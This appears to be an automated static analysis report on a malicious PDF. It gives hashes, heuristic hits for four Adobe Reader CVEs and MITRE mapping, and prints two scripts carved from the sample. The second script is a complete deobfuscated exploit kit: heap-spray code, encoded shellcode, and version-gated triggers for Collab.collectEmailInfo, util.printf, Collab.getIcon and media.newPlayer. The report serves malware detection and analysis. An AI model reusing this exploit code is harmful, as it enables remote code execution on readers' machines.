Malicious PDF — malware analysis report

Static analysis result for SHA-256 8d57edaf938c7689…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: b31bd823c94f64592ba7aa6a28944d9b SHA-1: 3bcf8c55663e9f900e4534189dd0ce061b80eabc SHA-256: 8d57edaf938c7689688f35e36567bb4a377d35ec08b545017570b82ed7bc0a8e
516 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious File

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript file, 'javascript_obj0001_000.js', is the primary artifact. The use of String.fromCharCode in the PDF metadata and the embedded script suggests obfuscation to hide malicious actions, likely the download and execution of a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 570 bytes
SHA-256: ff0e41507e34864cd526c6fb52173e85f80d064b6cc3d7b465b4789db765a825
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
rtxdw='';
var q = date.getFullYear()-2007;
hxwn='2011s'.replace(date.getFullYear(),'hi');
fix=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+hxwn+'[a]');
var nml = g(fix);
mivri=('sub2011').replace(date.getFullYear(),'ject');
var xnta=g(mivri).replace(date.getFullYear(),'al');
yfqw=g(xnta);
rvknm='pro2011cer';
rvknm=yfqw('rvknm.replace(date.getFullYear(),"du")');
zhmg=yfqw(g(rvknm));
bfik = yfqw(nml);
for (i = 0; i < bfik.length; i++) {
	gjlcc = bfik[i];
	rtxdw += zhmg(gjlcc);
}
yfqw(rtxdw);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x303 3636 bytes
SHA-256: 4452c9ad7fd1c5b926057c80ce373d54e6808f9c5cec2205e3bfe801be486e47
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u3d34%ue2aa%uc3fa%ue5e8%uffff%ud4ff%u3c31%u3d3d%ubc63%u61d1%u3d3c%ub43d%ub0da%u2d72%u52b0%u0c69%u6ae6%u6e6c%u6e6e%u6e6e%u6e6e%u6e68%u556e%u3c39%u3d3d%u6b68%u556e%u5352%u3d3d%u4855%u514f%u6950%ub355%u3373%ud5d1%u3d75%u3d3d%ud56d%u3d41%u3d3d%uedc2%uf9be%u5535%ud272%u3872%ud56d%u3d51%u3d3d%uedc2%ufdb8%u2a48%u6957%uce64%u5597%uc34f%u2b8e%u20d5%u3d3d%u6d3d%u6cd5%u3d3d%uc23d%u6eed%uc357%ub455%u3c52%ud580%u3d35%u3d3d%ud56d%u3d01%u3d3d%uedc2%u0c5d%u59fd%u6db6%ub60d%u316f%u6fb6%ub629%u154f%u2584%u3d3d%u0c3d%u0cc2%u91fd%u5c01%u3f41%u1d11%uf2fc%u3c30%udffa%ubccd%u66c2%u7781%ub657%u2d7f%u2fb6%ue448%u79b4%u2119%ufe5c%ub65d%u1951%ub619%u0178%u69b6%u4538%ud73c%u77b6%ub625%u1d67%ud63c%u09de%ub674%ub609%ud33c%uc20c%ufd0c%u91c1%ufdb9%u3a49%uf2fc%u3c30%ud6fa%u06c9%u1941%u4815%ub6dc%u1967%ud63c%ub65b%u7631%u67b6%u3c21%ub6d6%ub639%ud53c%u79b4%u2119%uff5c%u3d35%ud2d5%uc2c3%u55c2%u4949%u074d%u1212%u5348%u505f%u5e13%u1352%u5e5e%u5912%u4d13%u4d55%u5b02%u0f00%u1b0b%u0058%u3d0e';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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